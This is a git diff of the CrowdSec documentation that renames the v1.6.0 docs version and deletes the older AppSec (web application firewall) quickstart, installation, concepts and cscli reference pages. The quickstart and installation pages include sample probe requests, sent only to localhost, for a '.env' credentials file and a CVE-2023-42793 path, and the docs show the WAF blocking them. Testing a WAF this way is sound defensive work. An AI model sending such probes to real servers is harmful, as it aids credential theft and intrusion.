diff --git a/crowdsec-docs/docusaurus.config.ts b/crowdsec-docs/docusaurus.config.ts
index 0aeccb9b8..d4f6014a5 100644
--- a/crowdsec-docs/docusaurus.config.ts
+++ b/crowdsec-docs/docusaurus.config.ts
@@ -273,7 +273,7 @@ const config: Config = {
editUrl: "https://github.com/crowdsecurity/crowdsec-docs/edit/main/crowdsec-docs/",
lastVersion: "current",
versions: {
- "v1.6.0": {
+ "v1.6": {
banner: "none",
path: "/",
},
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/configuration.md b/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/configuration.md
deleted file mode 100644
index 753840a91..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/configuration.md
+++ /dev/null
@@ -1,89 +0,0 @@
----
-id: configuration
-title: Configuration Files
-sidebar_position: 6
----
-
-## Foreword
-
-Configuring the AppSec Component usually requires the use of multiple files:
-
- - [AppSec rules](/appsec/rules_syntax.md) allow you to write a signature to detect and/or block malevolent requests. [You can find more information about the syntax here](/appsec/rules_syntax.md)
- - [acquisition configuration](/data_sources/appsec.md) indicates which port is the AppSec Component listening on, and which AppSec configuration it will use.
- - AppSec configuration tells which rules are loaded in inband (blocking) and out-of-band (non-blocking)
- phases. [it as well allows you to tweak the behavior of the component via the powerful expr bindings](/appsec/rules_syntax.md)
-
-
-## Appsec configuration
-
-The AppSec configuration is referenced by the acquisition configuration (`appsec_config` or `appsec_config_path`):
-
-> An example AppSec configuration
-```yaml
-name: crowdsecurity/virtual-patching
-default_remediation: ban
-#log_level: debug
-inband_rules:
- - crowdsecurity/base-config
- - crowdsecurity/vpatch-*
-# inband_options:
-# disable_body_inspection: true
-```
-
-### `name`
-
-(required) the `name` of the AppSec configuration, used for both logging purposes and to reference the configuration from acquisition configuration.
-
-### `outofband_rules`
-
-A supplementary list of rules can be loaded during the out-of-band phase. These out-of-band rules are non-blocking and are assessed only after the AppSec Component has responded to the remediation component. This approach is beneficial for rules that may be costly to execute, have a higher likelihood of generating false positives, or are applicable in specific scenarios.
-
-### `inband_rules`
-
-An optional list of rules to be loaded in inband phase. In band rules are blocking and evaluated before answering the remediation component. Useful for virtual patching, rules with no/low false positives.
-
-### `default_remediation`
-
-An optional remediation for inband rules, defaults to `ban`. If set to `allow`, remediation component won't block the request (even if it matched rules). Any other value (including `captcha`) is passed as-is back to the remediation component.
-
-### `default_pass_action`
-
-An optional remediation for requests that didn't match any rules (or rules with a pass action). Defaults to `allow`. Any other value will be passed as-is to the remediation component.
-
-### `blocked_http_code`
-
-The HTTP code to return to the remediation component when a request should be blocked. Defaults to `403`
-
-### `passed_http_code`
-
-The HTTP code to return to the remediation component when a request should not be blocked. Defaults to `200`
-
-### `user_blocked_http_code`
-
-The HTTP code to return to the final client when a request should be blocked. Defaults to `403`
-
-### `user_passed_http_code`
-
-The HTTP code to return to the final client when a request should not be blocked. Defaults to `200`
-
-### `on_load`
-
-See the [dedicated doc](/docs/appsec/hooks.md#on_load)
-
-### `pre_eval`
-
-See the [dedicated doc](/docs/appsec/hooks.md#pre_eval)
-
-### `post_eval`
-
-See the [dedicated doc](/docs/appsec/hooks.md#post_eval)
-
-### `on_match`
-
-See the [dedicated doc](/docs/appsec/hooks.md#on_match)
-
-### `inband_options` and `outofband_options`
-
-Subset of options that can be applied to the inband/outofband rules:
- - `disable_body_inspection` : boolean, allows to disable HTTP body inspection
- - `request_body_in_memory_limit` : a number of byes indicating the maximum body size to be loaded in memory
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/installation.md b/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/installation.md
deleted file mode 100644
index d44edd8c3..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/installation.md
+++ /dev/null
@@ -1,169 +0,0 @@
----
-id: installation
-title: Installation
-sidebar_position: 3
----
-
-# AppSec Component
-
-We will explore a fundamental configuration of the **AppSec Component**, emphasizing a rule set dedicated to virtual patching.
-
-**Virtual patching** rules focus on preventing the exploitation of well-known vulnerabilities and are a great way to deter and slow down someone scanning your web application.
-
-The following configuration is crafted to offer the best ROI for your web application firewall!
-
-## Pre-requisites
-
-To have a functional AppSec Component, you need:
-
-- Crowdsec security engine >= 1.5.6
-- One of the compatible bouncers:
-
-
-
-| Name | Minimum Version |
-| --------- | --------------- |
-| nginx | 1.0.6rc |
-| openresty | 1.0.1rc |
-
-## Overview
-
-Before diving into the practical steps, it's crucial to familiarize yourself with the core configuration aspects of the AppSec Component:
-
-- **acquisition configuration**: Specifies how to acquire the AppSec Component stream of data
-- **AppSec Component configuration**: Tells which rules are loaded in inband (blocking) and out-of-band (non-blocking)
- phases, [and allows tweaking the behavior of the component via the powerful expr bindings](/appsec/hooks.md).
-- **rules** allow writing a [signature to detect and/or block malevolent requests](/appsec/rules_syntax.md).
-
-With that covered, let's jump into the installation.
-
-_In the following sections, we'll start with retrieving items from the CrowdSec hub to have a base to work on and then customize them._
-
-## Initialize AppSec configuration and rules
-
-As often in CrowdSec, the relevant pieces of configuration can be acquired by installing a collection.
-We are going to use a collection targeting vulnerabilities that are popular and might be exploited by bad actors trying to break into your server and our collection of generic attack vectors:
-
-
-
-```
-cscli collections install crowdsecurity/appsec-virtual-patching
-cscli collections install crowdsecurity/appsec-generic-rules
-```
-
-These collections provide you:
-
-- The config for the AppSec Component (`crowdsecurity/appsec-default`)
-- All our virtual patching rules
-- The CrowdSec Parser for AppSec
-- The CrowdSec Scenario(s) for AppSec
-
-If you want to learn how to write your own rules you can check our [rule writing tutorial](/appsec/create_rules.md).
-
-## Configure the AppSec Component acquisition
-
-The AppSec Component acts as a data source, sending request data to the security engine. We'll connect this data source using an acquisition file, just like we do with other data sources.
-
-This can be done by editing `/etc/crowdsec/acquis.yaml` or adding a new YAML file in `/etc/crowdsec/acquis.d/`
-
-For this type of data-source we'll declare the **address** and **port** through which the AppSec Component will communicate with the security engine to relay request data and get the verdict.
-
-The important lines are:
-
- - `listen_addr` that indicates on which interface/port the service listens to
- - `appsec_config` is the configuration name that the AppSec Component will use. For this example, we're employing `crowdsecurity/appsec-default` that we obtained from the hub, but feel free to create and name your own configuration. You can locate them in `/etc/crowdsec/...`
-
-```bash
-mkdir -p /etc/crowdsec/acquis.d
-cat > /etc/crowdsec/acquis.d/appsec.yaml << EOF
-listen_addr: 127.0.0.1:7422
-appsec_config: crowdsecurity/appsec-default
-name: myAppSecComponent
-source: appsec
-labels:
- type: appsec
-EOF
-```
-
-We'll then restart CrowdSec:
-
-```bash
-systemctl restart crowdsec
-```
-
-And you should be able to see CrowdSec starting the AppSec Component in the logs (`/var/log/crowdsec.log`):
-
-```
-INFO[2023-12-05 09:16:31] 1 appsec runner to start type=appsec
-INFO[2023-12-05 09:16:31] Starting Appsec server on 127.0.0.1:7422/ type=appsec
-INFO[2023-12-05 09:16:31] Appsec Runner ready to process event type=appsec uuid=3b80fefe-6665-4f81-8567-a2a7f09a706a
-```
-
-As well as actively listening on the specified port:
-
-```bash
-# netstat -laputen | grep 7422
-tcp 0 0 127.0.0.1:7422 0.0.0.0:* LISTEN 0 6923691 779516/crowdsec
-
-```
-
-## Configuration : Remediation component
-
-
-
-At the time of writing, only the crowdsec nginx bouncer supports native integration with the AppSec Component, and requires version >= X.Y.Z.
-
-[If you don't have the bouncer installed, do it now !](https://docs.crowdsec.net/u/bouncers/nginx)
-
-To enable the integration, you simply have to add a `APPSEC_URL` parameter to the existing bouncer remediation configuration:
-
-Note: _Some remediation components might have different parameter name for the APPSEC_URL, directly check their documentation if APPSEC_URL doesn't work_
-
-In your bouncer config file:
-
-> /etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf
-
-> /etc/crowdsec/bouncers/crowdsec-openresty-bouncer.conf
-
-> ...
-
-Add the communication URL with the port you want:
-
-```
-...
-APPSEC_URL=http://127.0.0.1:7422
-...
-```
-
-:warning: _The remediation component uses the same API key for both AppSec and LAPI communication._
-_Make sure your bouncer has a valid API and is properly connected to the LAPI via_ `sudo cscli metrics`:warning:
-
-We can now restart our remediation component:
-
-```bash
-sudo systemctl restart nginx
-```
-
-## Making sure everything works
-
-For testing purposes, let's trigger a rule that is part of the [Virtual Patching Collection](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching):
-
-It is trivial, for example, let's trigger [the rule](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-CVE-2023-42793) for `CVE-2023-42793` by trying to access an URI that ends with `/rpc2`:
-
-```
-▶ curl -I localhost/rpc2
-HTTP/1.1 403 Forbidden
-Server: nginx/1.18.0 (Ubuntu)
-Date: Tue, 05 Dec 2023 14:26:03 GMT
-Content-Type: text/html
-Connection: keep-alive
-```
-
-And if we look at it in a browser, the user is presented with the HTML page emitted by the remediation component (that can be customized):
-
-
-
-## Et Voila !
-
-Your application should now be protected from the most common exploitation attempts.
-[If you have already enrolled your instance in the console](/u/getting_started/post_installation/console#engines-page), you will see alerts appearing there too!
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/quickstart.md b/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/quickstart.md
deleted file mode 100644
index 5f35cecb8..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/appsec/quickstart.md
+++ /dev/null
@@ -1,225 +0,0 @@
----
-id: quickstart
-title: Quickstart
-sidebar_position: 2
----
-
-The goal of this quickstart is to set up the [AppSec Component](appsec/intro.md#introduction) to safeguard web applications running on [Nginx](https://nginx.com). We'll deploy a [set of rules](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) designed to block [well-known attacks](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) and [currently exploited vulnerabilities](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching). Additionally, we'll show how to monitor these alerts through the [console](https://app.crowdsec.net/).
-
-## Pre-requisites
-
-1. If you're new to the [AppSec Component](appsec/intro.md#introduction) or **W**eb **A**pplication **F**irewalls, start with the [Introduction](appsec/intro.md#introduction) for a better understanding.
-
-2. It's assumed that you have already installed:
- - **Crowdsec [Security Engine](/docs/next/intro)**: for installation, refer to the [QuickStart guide](/docs/getting_started/install_crowdsec). The AppSec Component, which analyzes HTTP requests, is included within the security engine.
- - Nginx and its **[Remediation Component](/u/bouncers/intro)**: installation instructions are available in the [QuickStart guide](/u/bouncers/nginx). This component intercepts HTTP requests at the webserver or reverse-proxy level and forwards them to the AppSec Component for analysis and action.
-
-## AppSec Component Setup
-
-### Collection installation
-
-To begin setting up the AppSec Component, the initial step is to install a relevant set of rules. We will utilize the [`crowdsecurity/appsec-virtual-patching`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching) collection, which offers a wide range of rules aimed at identifying and preventing the exploitation of known vulnerabilities. This [collection](/concepts.md#collections) is regularly updated to include protection against newly discovered vulnerabilities. Upon installation, it receives automatic daily updates to ensure your protection is always current.
-Furthermore we also install the [`crowdsecurity/appsec-generic-rules`](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-generic-rules) collection. This collection contains detection scenarios for generic attack vectors. It provides some protection in cases where specific scenarios for vulnerabilities do not exist (yet).
-
-On the machine where the Security Engine is installed, just execute the following command:
-
-:::info
-You can always view the content of a [collection on the hub](https://app.crowdsec.net/hub/author/crowdsecurity/collections/appsec-virtual-patching)
-:::
-
-```
-sudo cscli collections install crowdsecurity/appsec-virtual-patching
-sudo cscli collections install crowdsecurity/appsec-generic-rules
-```
-
-Executing this command will install the following items:
-
-- The [_AppSec Rules_](/appsec/rules_syntax.md) contain the definition of malevolent requests to be matched and stopped
-- The [_AppSec configuration_](/appsec/configuration.md#appsec-configuration) links together a set of rules to provide a coherent set
-- The [_CrowdSec Parser_](/concepts.md#parsers) and [_CrowdSec Scenario(s)_](/concepts.md#scenarios) bans for a longer duration repeating offenders
-
-### Setup the acquisition
-
-Having installed the required components, it's time to configure the CrowdSec [Acquisition](/concepts.md#acquisition) to connect the Application Security Component with our Nginx web server. This configuration allows our Nginx server to send requests to the AppSec Component for evaluation and decision-making.
-
-- Create the `/etc/crowdsec/acquis.d/` directory with `mkdir -p /etc/crowdsec/acquis.d/` (if it doesn't exist on your machine)
-- Put the following content in `/etc/crowdsec/acquis.d/appsec.yaml` :
-
-```yaml title="/etc/crowdsec/acquis.d/appsec.yaml"
-appsec_config: crowdsecurity/appsec-default
-labels:
- type: appsec
-listen_addr: 127.0.0.1:7422
-source: appsec
-```
-
-The two important directives in this configuration file are:
-
-- `appsec_config` is the name of the [_AppSec configuration_](/appsec/configuration.md#appsec-configuration) that was included in the [collection](/concepts.md#collections) we just installed.
-- the `listen_addr` is the IP and port the AppSec Component will listen to.
-
-:::info
-You can find more about the [supported options for the acquisition here](/data_sources/appsec.md)
-:::
-
-You can now restart CrowdSec:
-
-```bash
-sudo systemctl restart crowdsec
-```
-
-
- (Optional) Manually testing the AppSec Component with `curl`
-
-Before we proceed with configuring the Remediation Component, let's verify that all our current setups are functioning correctly.
-
-1. Create a Remediation Component (Bouncer) API Key:
-
-```bash
-sudo cscli bouncers add test_waf -k this_is_a_bad_password
-API key for 'test_waf':
-
- this_is_a_bad_password
-
-Please keep this key since you will not be able to retrieve it!
-```
-
-2. Emit a legitimate request to the AppSec Component:
-
-```bash
-curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /test' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password'
-```
-
-Which will give us an answer such as:
-
-```bash
-HTTP/1.1 200 OK
-Date: Tue, 30 Jan 2024 15:43:50 GMT
-Content-Length: 36
-Content-Type: text/plain; charset=utf-8
-
-{"action":"allow","http_status":200}
-```
-
-3. Emit a malevolent request to the Appsec Component:
-
-:::info
-We're trying to access a `.env` file, a [common way to get access to some credentials forgotten by a developer.](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access)
-:::
-
-```bash
-curl -X POST localhost:7422/ -i -H 'x-crowdsec-appsec-uri: /.env' -H 'x-crowdsec-appsec-ip: 192.168.1.1' -H 'x-crowdsec-appsec-host: foobar.com' -H 'x-crowdsec-appsec-verb: POST' -H 'x-crowdsec-appsec-api-key: this_is_a_bad_password'
-
-```
-
-Our request is detected and blocked by the AppSec Component:
-
-```bash
-HTTP/1.1 403 Forbidden
-Date: Tue, 30 Jan 2024 15:57:08 GMT
-Content-Length: 34
-Content-Type: text/plain; charset=utf-8
-
-{"action":"ban","http_status":403}
-```
-
-Let's now delete our test API Key:
-
-```bash
-sudo cscli bouncers delete test_waf
-```
-
-
-
-## Remediation Component Setup
-
-With our AppSec Component active within CrowdSec, it's time to configure the remediation component to forward requests to it.
-
-:::info
-Different Remediation Components may offer various options for this setup, so consult the documentation for your specific component.
-:::
-
-To setup forwarding of requests in the Nginx remediation component, we'll modify its configuration file (`/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf`) by adding the following entries:
-
-```bash title="/etc/crowdsec/bouncers/crowdsec-nginx-bouncer.conf"
-APPSEC_URL=http://127.0.0.1:7422
-```
-
-This instructs our Nginx plugin (the remediation component) to communicate with the AppSec Component at `http://127.0.0.1:7422`. Once configured, all incoming HTTP requests will be sent there for analysis. The snippet above assumes that the AppSec Component is running on the same machine.
-
-We can now restart the service:
-
-```bash
-sudo systemctl restart nginx
-```
-
-### Testing the AppSec Component + Nginx
-
-:::note
-We're assuming Nginx is installed on the same machine and is listening on port 80. Please adjust your testing accordingly if this is not the case.
-:::
-
-if now try to access `http://localhost/.env` from a browser, our If you now attempt to access `http://localhost/.env` from a browser, your request will be blocked, resulting in the display of the following HTML page: will be blocked, and we will see the following HTML page:
-
-
-
-We can also look at the metrics from `cscli metrics`. Amongst other things, it will show:
-
-- the number of requests processed by the AppSec Component
-- Individual rule matches
-
-
- cscli metrics output example
-
-```bash
-▶ sudo cscli metrics
-
-...
-Appsec Metrics:
-╭─────────────────┬───────────┬─────────╮
-│ Appsec Engine │ Processed │ Blocked │
-├─────────────────┼───────────┼─────────┤
-│ 127.0.0.1:7422/ │ 2 │ 1 │
-╰─────────────────┴───────────┴─────────╯
-
-Appsec '127.0.0.1:7422/' Rules Metrics:
-╭─────────────────────────────────┬───────────╮
-│ Rule ID │ Triggered │
-├─────────────────────────────────┼───────────┤
-│ crowdsecurity/vpatch-env-access │ 1 │
-╰─────────────────────────────────┴───────────╯
-
-```
-
-
-
-### Explanation
-
-What happened in the test that we just did is:
-
-1. We did a request (`localhost/.env`) to our local nginx webserver
-2. Nginx, thanks to the Remediation Component configuration, forwarded the request to `http://127.0.0.1:7422`
-3. Our AppSec Component, listening on `http://127.0.0.1:7422` analyzed the request
-4. The request matches the [AppSec rule to detect .env access](https://app.crowdsec.net/hub/author/crowdsecurity/appsec-rules/vpatch-env-access)
-5. The AppSec Component thus answered with [HTTP 403](https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/403) to Nginx, indicating that the request must be blocked
-6. Nginx presented us with the default "request blocked" page provided by the Remediation Component
-
-## Integration with the console
-
-
-
-If you haven't yet, follow the guide about [how to enroll your Security Engine in the console](/docs/getting_started/install_crowdsec).
-
-Once done, all your alerts, including the ones generated by the AppSec Component, are going to appear in the console:
-
-
-
-## Next steps
-
-You are now running the AppSec Component on your Crowdsec Security Engine, congrats!
-
-As the next steps, you can:
-
-- [Explore the hub](https://hub.crowdsec.net) to find more rules for your use case
-- Look at the [Rules syntax](/appsec/rules_syntax.md) and [creation process](/appsec/create_rules.md) to create your own and contribute
-- Take a look at [the benchmarks](/appsec/benchmark.md)
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/concepts.md b/crowdsec-docs/versioned_docs/version-v1.6.0/concepts.md
deleted file mode 100644
index 6bf6d41be..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/concepts.md
+++ /dev/null
@@ -1,208 +0,0 @@
----
-id: concepts
-title: Concepts
-sidebar_position: 1
----
-
-
-# Global overview
-
-The Security Engine runtime revolves around a few simple concepts:
-
- - It reads logs (defined via [datasources](/data_sources/introduction.md) configuration)
- - Those logs are parsed via [parsers](/parsers/introduction.mdx) and eventually [enriched](/parsers/enricher.md)
- - Those normalized logs are matched against the [scenarios](/scenarios/introduction.mdx) that the user has deployed
- - When a scenario is "triggered", CrowdSec generates an [alert](/concepts.md#alerts) and eventually one or more associated [decisions](/concepts.md#decisions):
- - The alert is here mostly for traceability and will stay even after the decision expires
- - The decision, on the other hand, is short-lived and tells *what* action should be taken against the offending IP/range/user...
- - This information (the signal, the associated decisions) is then sent to [Local API](/local_api/intro.md) and stored in the database
-
-As you might have guessed by now, the Security Engine itself does the detection part and stores those decisions.
-Then, [remediation components](/u/user_guides/bouncers_configuration) can "consume" those decisions (via the very same [Local API](/local_api/intro.md) and apply the remediation.
-
-## Crowd sourced aspect
-
- [[References](https://crowdsecurity.github.io/api_doc/capi/)]
-
-Whenever the [Local API](/local_api/intro.md) receives an alert with associated decisions, it shares the alert's meta-information with our central API:
-
- - The source IP address that triggered the alert
- - The scenario that was triggered
- - The timestamp of the attack
-
-This is the only data that is sent to our API, and it is processed on our side to be able to redistribute the relevant blocklists to all the participants. You can check the [central API documentation](central_api/intro) in the references link to have a comprehensive view of what might be shared between your instance and our services.
-
-## Remediation Components
-
-[[References](/u/bouncers/intro)]
-
-Remediation Components are software packages in charge of acting upon decision's provided by the Security Engine.
-To do so, the component queries the Local API to know if there is an existing decision against a given IP, range, username, etc. [You can find a list of existing Remediation Components on the hub](https://hub.crowdsec.net/browse/#bouncers)
-
-
-# Configuration items
-
-## Acquisition
-
-[[References](/data_sources/introduction.md)]
-
-Acquisition configuration defines which streams of information CrowdSec must process.
-
-A stream of information can be a file, a journald event log, a cloudwatch stream, and more or less any kind of stream, such as a Kafka topic.
-
-Acquisition configuration always contains a stream (ie. a file to tail) and a [tag](/data_sources/introduction.md) (ie. "these are in syslog format" "these are non-syslog nginx logs".md).
-
-File acquisition configuration is defined as:
-
-```yaml
-filenames:
- - /var/log/auth.log
-labels:
- type: syslog
-```
-
-The `labels` part is here to tag the incoming logs with a type. `labels.type` are used by the parsers to know which logs to process.
-
-## Application Security Component
-
-[[References](appsec/intro)]
-
-The Application Security Component is a special datasource that allows the supported remediation components to forward HTTP requests to crowdsec for analysis, before they can reach the application.
-Because CrowdSec can analyse the request and take a decision before it reaches the application, the combo of the Application Security Component and the remediation components acts as a Web Application Firewall (WAF).
-
-## Stages
-
-[[References](/parsers/introduction.mdx#stages)]
-
-The concept of stages is central to data parsing in CrowdSec, as it allows to have various "steps" of parsing. All parsers belong to a given stage. While users can add or modify the stages order, the following stages exist:
-
- - `s00-raw`: low-level parser, such as syslog
- - `s01-parse`: most of the services' parsers (ssh, nginx, etc.)
- - `s02-enrich`: enrichment that requires parsed events (ie. geoip-enrichment) or generic parsers that apply on parsed logs (ie. second stage HTTP parser)
-
-
-Every event starts in the first stage, and moves to the next stage once it has been successfully processed by a parser that has the `onsuccess` directive set to `next_stage`, and so on until it reaches the last stage, when it's going to start to be matched against scenarios. Thus an sshd log might follow this pipeline:
-
- - `s00-raw`: parsed by `crowdsecurity/syslog-logs` (will move the event to the next stage)
- - `s01-raw`: parsed by `crowdsecurity/sshd-logs` (will move the event to the next stage)
- - `s02-enrich`: parsed by `crowdsecurity/geoip-enrich` and `crowdsecurity/dateparse-enrich`
-
-## Parsers
-
-[[References](/parsers/introduction.mdx)]
-
-For logs to be able to be exploited and analyzed, they need to be parsed and normalized, and this is where parsers are used.
-
-A parser is a YAML configuration file that describes how a string is being parsed. The said string can be a log line, or a field extracted from a previous parser. While a lot of parsers rely on the **GROK** approach (a.k.a regular expression named capture groups), parsers can also reference enrichment modules to allow specific data processing.
-
-A parser usually has a specific scope. For example, if you are using [Nginx](https://nginx.org), you will probably want to use the `crowdsecurity/nginx-logs` parser which allows your CrowdSec setup to parse Nginx's access and error logs.
-
-Parsers are organized into stages to allow pipelines and branching in parsing.
-
-See the [Hub](https://hub.crowdsec.net/browse/#configurations) to explore parsers, or see below some examples:
-
- - [apache2 access/error log parser](https://github.com/crowdsecurity/hub/blob/master/parsers/s01-parse/crowdsecurity/apache2-logs.yaml)
- - [iptables logs parser](https://github.com/crowdsecurity/hub/blob/master/parsers/s01-parse/crowdsecurity/iptables-logs.yaml)
- - [http logs post-processing](https://github.com/crowdsecurity/hub/blob/master/parsers/s02-enrich/crowdsecurity/http-logs.yaml)
-
-You can as well [write your own](/parsers/create.md)!
-
-
-## Enrichers
-
-[[References](/parsers/enricher.md)]
-
-Enrichment is a parser that adds extra context to a log event so that CrowdSec can later take a better decision. In most cases, you should be able to find the relevant enrichers on our [Hub](https://hub.crowdsec.net/browse/#configurations).
-
-A common/simple type of enrichment would be [geoip-enrich](https://github.com/crowdsecurity/hub/blob/master/parsers/s02-enrich/crowdsecurity/geoip-enrich.yaml) of an event (adding information such as origin country, origin Autonomous System and origin IP range to an event).
-
-Once again, you should be able to find the ones you're looking for on the [Hub](https://hub.crowdsec.net/browse/#configurations)!
-
-## Scenarios
-
-[[References](/scenarios/introduction.mdx)]
-
-A scenario is the expression of a heuristic that allows you to qualify a specific event (usually an attack). It is a YAML file that describes a set of events characterizing a scenario. Scenarios in CrowdSec gravitate around the [leaky bucket](https://en.wikipedia.org/wiki/Leaky_bucket) principle.
-
-A scenario description includes at least:
-
- - Event eligibility rules. For example, if we're writing an ssh brute-force detection, we only focus on logs of type `ssh_failed_auth`
- - Bucket configuration such as the leak speed or its capacity (in our same ssh brute-force example, we might allow 1 failed auth per 10s and no more than 5 in a short amount of time: `leakspeed: 10s` `capacity: 5`)
- - Aggregation rules: per source IP or other criteria (in our ssh brute-force example, we will group per source ip)
-
-The description allows for many other rules to be specified (blackhole, distinct filters, etc.), to allow rather complex scenarios.
-
-See [Hub](https://hub.crowdsec.net/browse/#configurations) to explore scenarios and their capabilities, or see below some examples:
-
- - [ssh brute-force detection](https://github.com/crowdsecurity/hub/blob/master/scenarios/crowdsecurity/ssh-bf.yaml)
- - [http-admin-interface-probing](https://github.com/crowdsecurity/hub/blob/master/scenarios/crowdsecurity/http-admin-interface-probing.yaml)
- - [iptables port scan](https://github.com/crowdsecurity/hub/blob/master/scenarios/crowdsecurity/iptables-scan-multi_ports.yaml)
-
-You can as well [write your own](/scenarios/create.md)!
-
-## AppSec Rules
-
-[[References](appsec/intro)]
-
-An AppSec rule is a YAML configuration file that describe a rule for the [Application Security Component](appsec/intro).
-
-An AppSec rule can match on various aspect of an HTTP request, such as the verb, the URI, the headers, the parameters, the body, etc.
-You can use them to detect and block exploitation of specific vulnerabilities (virtual patching) or to write more generic WAF rules.
-
-Contrary to scenarios, appsec rules can block a request before it reaches the application if configured in `in-band` mode.
-
-## AppSec Configs
-
-An Appsec Config file is a YAML configuration file that tell the [Application Security Component](appsec/intro) which rules should be loaded, and in which band (in-band or out-of-band).
-
-The config also expose hooks allowing you to customize at runtime the behavior of the AppSec component (disable a rule on a specific URL, apply a captcha if a specific rule is triggered, etc.)
-
-
-[[References](appsec/intro)]
-
-## Collections
-
-[[References](/collections/introduction.md)]
-
-To make users' lives easier, "collections" are available, which are just a bundle of parsers and scenarios.
-In this way, if you want to cover basic use-cases of let's say "Nginx", you can just install the `crowdsecurity/nginx` collection that is composed of `crowdsecurity/nginx-logs` parser, as well as generic HTTP scenarios such as `crowdsecurity/base-http-scenarios`.
-
-As usual, these can be found on the [Hub](https://hub.crowdsec.net)!
-
-## PostOverflows
-
-[[References](/parsers/introduction.mdx)]
-
-A postoverflow is a parser that is applied on overflows (scenario results) before the decision is written to the local DB or pushed to the API. Parsers in postoverflows are meant to be used for "expensive" enrichment/parsing processes that you do not want to perform on all incoming events, but rather on a decision that is about to be taken.
-
-An example could be the slack/mattermost enrichment plugin that requires human confirmation before applying the decision or reverse-dns lookup operations.
-
-
-# Runtime items
-
-## Events
-
-[[References](/expr/event.md)]
-
-An `Event` is the runtime representation of an item being processed by CrowdSec: it can be a log line being parsed, or an Overflow being reprocessed.
-
-The `Event` object is modified by parsers, scenarios, and directly via user [statics expressions](/parsers/format.md#statics) (for example).
-
-
-
-
-## Alerts
-
-[[References](/expr/alert.md)]
-
-An `Alert` is the runtime representation of a bucket overflow being processed by CrowdSec: it is embedded in an Event.
-
-The `Alert` object is modified by post-overflows and [profiles](/profiles/intro.md).
-
-## Decisions
-
-[[References](/expr/decision.md)]
-
-A `Decision` is the representation of the consequence of a bucket overflow: a decision against an IP address, an IP range, an AS, a Country, a User, a Session etc.
-
-`Decisions` are generated by the Local API (LAPI) when an `Alert` is received, according to the existing [profiles](/profiles/intro.md)
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_remove.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_remove.md
deleted file mode 100644
index 0c2f48be7..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_remove.md
+++ /dev/null
@@ -1,48 +0,0 @@
----
-id: cscli_appsec-configs_remove
-title: cscli appsec-configs remove
----
-## cscli appsec-configs remove
-
-Remove given appsec-config(s)
-
-### Synopsis
-
-Remove one or more appsec-configs
-
-```
-cscli appsec-configs remove [item]... [flags]
-```
-
-### Examples
-
-```
-cscli appsec-configs remove crowdsecurity/vpatch
-```
-
-### Options
-
-```
- --all Remove all the appsec-configs
- --force Force remove: remove tainted and outdated files
- -h, --help help for remove
- --purge Delete source file too
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli appsec-configs](/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_upgrade.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_upgrade.md
deleted file mode 100644
index defdc9844..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-configs_upgrade.md
+++ /dev/null
@@ -1,47 +0,0 @@
----
-id: cscli_appsec-configs_upgrade
-title: cscli appsec-configs upgrade
----
-## cscli appsec-configs upgrade
-
-Upgrade given appsec-config(s)
-
-### Synopsis
-
-Fetch and upgrade one or more appsec-configs from the hub
-
-```
-cscli appsec-configs upgrade [item]... [flags]
-```
-
-### Examples
-
-```
-cscli appsec-configs upgrade crowdsecurity/vpatch
-```
-
-### Options
-
-```
- -a, --all Upgrade all the appsec-configs
- --force Force upgrade: overwrite tainted and outdated files
- -h, --help help for upgrade
-```
-
-### Options inherited from parent commands
-
-```
- --color string Output color: yes, no, auto (default "auto")
- -c, --config string path to crowdsec config file (default "/etc/crowdsec/config.yaml")
- --debug Set logging to debug
- --error Set logging to error
- --info Set logging to info
- -o, --output string Output format: human, json, raw
- --trace Set logging to trace
- --warning Set logging to warning
-```
-
-### SEE ALSO
-
-* [cscli appsec-configs](/cscli/cscli_appsec-configs.md) - Manage hub appsec-configs
-
diff --git a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_remove.md b/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_remove.md
deleted file mode 100644
index 8820ee939..000000000
--- a/crowdsec-docs/versioned_docs/version-v1.6.0/cscli/cscli_appsec-rules_remove.md
+++ /dev/null
